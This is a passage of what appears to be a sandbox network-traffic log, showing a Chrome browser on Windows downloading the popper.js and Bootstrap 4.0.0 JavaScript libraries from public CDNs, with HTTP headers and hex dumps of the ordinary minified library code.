2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 26 26 74 68 69 73 2e 6e 65 78 74 28 29 7d 2c Data Ascii: Selector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibility")&&this.next()},
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 Data Ascii: n t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER,function(t){retur
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c 73 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 Data Ascii: if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,s=this._element.qu
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 28 6e 26 26 50 28 6e 29 2e 68 61 73 43 6c 61 73 73 28 Data Ascii: tring"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if(n&&P(n).hasClass(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49708	104.17.24.14	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:13 UTC	627	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:13 UTC	958	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 19:11:13 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 728524 Expires: Sat, 06 Sep 2025 19:11:13 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QPZ4EKVK5CRap%2FJtlJ3Xb%2FjQKnsafBL22OUayLHrruthMxDMbmRU8zGEjLYwzKbcN6GFjpma5da68UQsUanqUkuLOlSnvWSAVrrQ60xuIt9gGp4F5fZMxi29UNJsvzZ%2FO7E1eO4R"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8c43293b2cec43cd-EWR alt-svc: h3=":443"; ma=86400
2024-09-16 19:11:13 UTC	411	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a Data Ascii: .nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 Data Ascii: ar o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 Data Ascii: p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 Data Ascii: t:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.widt
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 Data Ascii: warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instanc
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 Data Ascii: .options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passiv
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 Data Ascii: n o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){retur
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 Data Ascii: n''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c Data Ascii: n o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49709	104.18.10.207	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:13 UTC	621	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:13 UTC	947	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 19:11:13 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 01/15/2024 23:55:45 CDN-EdgeStorageId: 845 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 127ebfc7b1202ea45d8c4e9ae0b5c9da CDN-Cache: HIT CF-Cache-Status: HIT Age: 16169369 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8c43293b4e6f42b7-EWR alt-svc: h3=":443"; ma=86400
2024-09-16 19:11:13 UTC	422	IN	Data Raw: 37 63 30 30 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7c00/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 Data Ascii: ery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i
2024-09-16 19:11:13 UTC	1369	IN	Data Raw: 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a Data Ascii: igger(e.end)},supportsTransitionEnd:function(){return 